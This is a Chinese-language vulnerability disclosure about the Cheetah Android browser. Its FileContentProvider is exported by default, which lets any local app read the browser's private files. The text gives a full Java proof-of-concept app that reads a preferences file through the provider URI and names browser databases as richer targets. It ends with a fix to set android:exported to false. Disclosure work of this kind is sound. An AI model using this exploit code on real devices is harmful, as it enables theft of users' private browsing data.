猎豹浏览器(Android版)任意私有文件数据可被本地第三方窃取漏洞下载

来源:黑吧安全网 浏览:943次 时间:2014-04-29
做网站找雨过天晴工作室

猎豹浏览器的FileContentProvider组件可被任意第三方App调用,第三方App利用此组件可以读取浏览器中的任意私有数据。

组成猎豹浏览器的Content Providers中,com.ijinshan.browser.android.provider.FileContentProvider可以读取指定的文件,AndroidManifest.xml配置文件中没有指定android:exported的值,其android:exported取的是默认的值:true,导致任意第三方App都可以调用此接口,读取浏览器中的任意私有文件信息。

package com.example.x3xtxt.demo.lb;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;

import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
import android.widget.Toast;

public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

// 窃取目标文件路径,作为演示,就选小一点的文件:shared_prefs/bids.xml
// 实际的攻击中,我们对databases目录下的记载有敏感信息的文件更感兴趣,比如:databases/browser.db之类的。
String sensitive_file_path = "content://com.ijinshan.htmlfileprovider/file:///data/data/com.ijinshan.browser/shared_prefs/bids.xml";
ContentProviderFileOperations(sensitive_file_path);
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

public void ContentProviderFileOperations(String filepath){
try{
InputStream in = getContentResolver().openInputStream(Uri.parse(filepath));
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int n = in.read(buffer);
while(n>0){
out.write(buffer, 0, n);
n = in.read(buffer);
Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
}
}catch(Exception e){
debugInfo(e.getMessage());
}
}

public void debugInfo(String msg){
Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
}

}

如果浏览器在功能上并不要求导出此接口给第三方App,则应当将其android:exported设置为false,请RD自行确定限制规则。